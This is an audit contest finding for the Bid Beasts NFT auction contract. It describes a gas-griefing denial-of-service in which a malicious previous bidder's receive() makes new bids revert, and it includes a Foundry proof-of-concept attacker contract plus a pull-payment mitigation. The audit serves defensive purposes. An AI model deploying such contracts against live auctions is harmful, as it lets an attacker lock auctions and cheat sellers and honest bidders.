Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

griefing attack when refunding to previous bidder

Description

  • Normal behavior: The marketplace accepts bids and, when a new higher bid arrives, refunds the previous highest bidder so only the current highest bidder holds locked funds. Refunds are attempted immediately in the bidding transaction and — on failure — the contract credits the recipient so they can later withdraw.

  • Issue: The contract attempts to push the refund to the previous bidder inside placeBid using a low-level call that forwards essentially all gas. A malicious previous bidder can make their receive() / fallback consume large amounts of gas causing the entire placeBid transaction from a new bidder to run out of gas and revert. This allows the malicious bidder to remain the highest bidder (grief/DoS) and potentially win the auction at their low bid when the auction ends.

function placeBid(uint256 tokenId) external payable isListed(tokenId) {
//...... other code
@> if (previousBidder != address(0)) {
@> _payout(previousBidder, previousBidAmount);
@> }
//.................. rest of the code
}

Risk

Likelihood:

  • A previous highest bidder becomes a contract that has a heavy (or deliberately malicious) receive()/fallback handler; this occurs when users place bids from contracts rather than EOAs.

  • New bidders send limited gas with their transactions (common when wallets or relayers specify gas limits) so the refund attempt exhausts the available gas and reverts the new bid.

Impact:

  • Auction Denial-of-Service: the malicious bidder can remain the highest bidder and prevent honest bidders from outbidding them, effectively locking the auction.

  • Strategic / economic harm: the attacker may later win the auction at their low bid (seller receives less revenue), or force seller/marketplace to relist/remove item — reputational and financial damage.

Proof of Concept

Run the following test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract Attacker {
BidBeastsNFTMarket market;
BidBeasts nft;
uint256 i;
constructor(address _marketAddress, address _nftAddress) {
market = BidBeastsNFTMarket(_marketAddress);
nft = BidBeasts(_nftAddress);
}
function placeBid(uint256 _id, uint256 _value) public {
market.placeBid{value: _value}(_id);
}
receive() external payable {
for (uint256 j = 0; j < 1000; j++) {
i = 1;
}
}
}
contract NFTMarketTest is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
Attacker attackerContract;
address public constant OWNER = address(0x1);
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public ATTACKER = makeAddr("attacker");
// --- Constants ---
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
function setUp() public {
vm.startPrank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
nft.mint(SELLER);
vm.stopPrank();
attackerContract = new Attacker(address(market), address(nft));
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, (MIN_PRICE + 1) * 2 + 1);
vm.deal(address(attackerContract), STARTING_BALANCE);
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
}
function testDenialOfServiceAttack() public {
//bid from attacker
attackerContract.placeBid(TOKEN_ID, MIN_PRICE + 1);
BidBeastsNFTMarket.Bid memory bid = market.getHighestBid(TOKEN_ID);
assertEq(bid.bidder, address(attackerContract));
//bid from BIDDER_1 --> attacker contract prevents that from happening
vm.prank(BIDDER_1);
vm.expectRevert();
market.placeBid{value: (MIN_PRICE + 1) * 2, gas: 300_000}(TOKEN_ID);
//attacker is still highest bidder
assertEq(bid.bidder, address(attackerContract));
}
}

Attack sequence:

  • Attacker.becomeHighest(tokenId) — attacker becomes highest bidder.

  • Honest bidder calls market.placeBid{value: higherBid}(tokenId). During that call the marketplace attempts to refund the attacker via low-level call. The attacker's receive() consumes gas and causes the outer transaction to run out of gas or revert — new bid fails. Attacker remains highest bidder.

Recommended Mitigation

Converting refunds to pull-payments removes the in-line untrusted call which was consuming caller gas. The marketplace simply records the refund and the recipient calls withdrawAllFailedCredits() to pull funds later.

Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!